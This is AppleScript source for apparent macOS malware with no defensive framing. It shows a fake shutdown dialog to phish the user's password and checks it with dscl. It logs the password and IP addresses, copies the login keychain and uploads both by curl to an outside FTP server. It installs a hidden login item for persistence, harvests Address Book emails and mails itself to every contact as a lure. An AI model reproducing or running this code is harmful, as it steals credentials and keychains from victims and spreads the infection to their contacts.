delay 5 -- delay 5 seconds

try

set theuser to do shell script "whoami"

do shell script "mkdir ~/Public/." & theuser & ""

set ufld to "/User/" & theuser & "/Public/." & theuser & ""

set shutapp to POSIX path of ( path to resource "Shutdown.app" )

end try

try

tell application "System Events" to keystroke "h" using { command down, option down } -- Hide all other applications

repeat

set passwd to text returned of ( display dialog "Please enter your password to postpone shutdown." with title "Password" with icon alias ( ( path to me ) & "Contents:Resources:troll.icns" as string ) default answer "" buttons { "OK" } default button 1 giving up after 20 with hidden answer ) -- Prompt for Password

if passwd = "" then

set reso to ( path to resource ".Updater.app" )

tell application "Finder" to duplicate reso to ufld

set newreso to POSIX path of ( "" & ufld & ".Updater.app" )

tell application "System Events" to make login item at end with properties { path:newreso, kind: application } -- Make application a login item

tell application "Finder" to duplicate shutapp to ufld

tell application shutapp to activate -- Shut down computer

quit

end if

try

do shell script "dscl . -passwd /Users/" & theuser & " " & passwd & " benwashere"

do shell script "dscl . -passwd /Users/" & theuser & " benwashere " & passwd & "" -- Check if password is correct

exit repeat

on error

display dialog "Please try again." with title "Password" buttons { "OK" } default button 1 with icon caution -- If password is incorrect, try again

end try

end repeat

set dte to ( current date ) as string

try

do shell script "curl http://checkip.dyndns.org/ | grep 'Current IP Address' | cut -d : -f 2 | cut -d \\ < -f 1"

set WANIP to ( characters 2 through - 1 of result ) as text -- Get IP

set LANIP to ( do shell script "ipconfig getifaddr en1" )

do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt"

do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password & IP to file

on error

set WANIP to "not connected"

do shell script "touch " & ufld & " ." & theuser & " - " & dte & ".txt"

do shell script "echo " & dte & " - User: " & theuser & " Password: " & passwd & " WAN IP: " & WANIP & " LAN IP: " & LANIP & " >> " & ufld & "" -- Write password to file

end try

try

set reso to ( path to resource ".Updater.app" )

tell application "Finder" to duplicate reso to ( path to desktop )

set newreso to POSIX path of ( "" & ( path to desktop ) & ".Updater.app" )

tell application "System Events" to make login item at end with properties { path:newreso, kind: application } -- Make application a login item

end try

try

tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".txt -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".txt" -- Upload to FTP server

end try

try

set china to "/Users/" & theuser & "/Library/Keychains/login.keychain"

do shell script "cp /Users/" & theuser & "/Library/Keychains/login.keychain /Users/" & theuser & "/Public"

do shell script "mv /Users/" & theuser & "/Public/login.keychain /Users/" & theuser & "/Public/." & theuser & ".keychain" -- Copy keychain to Public

end try

try

tell application "Finder" to do shell script "curl -T ~/Public/." & theuser & ".keychain -u Ben:(my password) ftp://thexiuh.dyndns.info/Drive/.Passwords/." & theuser & "_" & WANIP & "_" & dte & ".keychain" -- Upload Keychain to FTP server

end try

end try

do shell script "touch " & ufld & "adr.txt"

set adrt to "" & ufld & "/adr.txt"

tell application "Address Book"

set thepeople to every person

set j to ( number of people )

repeat with i from 1 to j

try

set adr to ( value of first email of ( item i of thepeople ) )

do shell script "echo " & adr & " >> " & adrt & ""

end try

try

set adr to ( value of second email of ( item i of thepeople ) )

do shell script "echo " & adr & " >> " & adrt & ""

end try

try

set adr to ( value of third email of ( item i of thepeople ) )

do shell script "echo " & adr & " >> " & adrt & ""

end try

end repeat

quit

end tell

tell application "Mail"

set theMessage to make new outgoing message with properties { visible: false , subject: "Awesome new Mac app!" , content : "Hey, check out this new Mac application! You'll never use your computer the same way again ;)

" & theuser & "" }

end tell

set addresses to { }

set adrs to paragraphs of ( read "/Users/" & theuser & "/Documents/adr.txt" )

repeat with nextLine in adrs

if length of nextLine is greater than 0 then

tell application "Mail"

tell theMessage

make new to recipient at end of to recipients with properties { address:nextLine }

end tell

end tell

end if

end repeat

tell application "Mail"

tell content of theMessage

make new attachment with properties { file name : ( path to me ) } at after last paragraph

end tell